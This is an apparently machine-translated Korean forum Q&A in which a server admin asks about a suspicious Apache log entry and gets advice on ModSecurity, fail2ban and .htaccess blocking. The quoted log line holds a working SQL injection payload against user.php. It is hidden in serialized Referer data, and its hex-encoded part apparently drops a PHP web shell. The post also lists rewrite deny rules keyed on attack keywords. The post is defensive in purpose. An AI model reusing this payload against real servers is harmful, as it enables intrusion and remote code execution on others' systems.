Apache 액세스 로그에서 이런 내용을 많이 볼 수 있습니다.

Apache 액세스 로그에서 이런 내용을 많이 볼 수 있습니다.
14.210.192.182 - - [01/May/2019:04:43:14 -0500] "GET /user.php?act=login HTTP/1.1" 302 233 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:288:\"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A325A6B5A334575634768774A79776E50443977614841675A585A686243676B583142505531526262475678645630704F79412F506963702729293B2F2F7D787878,10-- -\";s:2:\"id\";s:3:\"'/*\";}" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)"

이런 유형의 취약점이 어떻게 작동하는지조차 모르겠습니다. 참조 직렬화된 데이터에서 SQL을 실행하려는 것 같습니다. 이게 걱정할 일인가요? 서버의 모든 웹 애플리케이션은 PDO 및 준비된 명령문을 사용합니다.

Jail list:   apache-badbots, apache-noscript, apache-overflows, apache-sqlinject, sshd

RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(union|schema|sql|jdatabasedriver|ini_set|user\.php).* [NC]
RewriteRule ^(.*)$ - [F,L]

RewriteCond %{HTTP_REFERER} ^.*(union|schema|sql|jdatabasedriver|ini_set|user\.php).* [NC]
RewriteRule ^(.*)$ - [F,L]

답변1

누군가 SQL 주입을 시도하고 있습니다. 코드가 안전하다면 괜찮을 것입니다. Apache Modsecurity를 ​​설치하고 이러한 종류의 콘텐츠를 거부하는 몇 가지 규칙을 만들거나 비슷한 작업을 수행하기 위해 블랙리스트에 IP 주소를 자동으로 추가하도록 fall2ban을 구성할 수도 있습니다. .htaccess의 몇 줄은 그러한 사람들의 액세스를 차단할 수도 있습니다.

관련 정보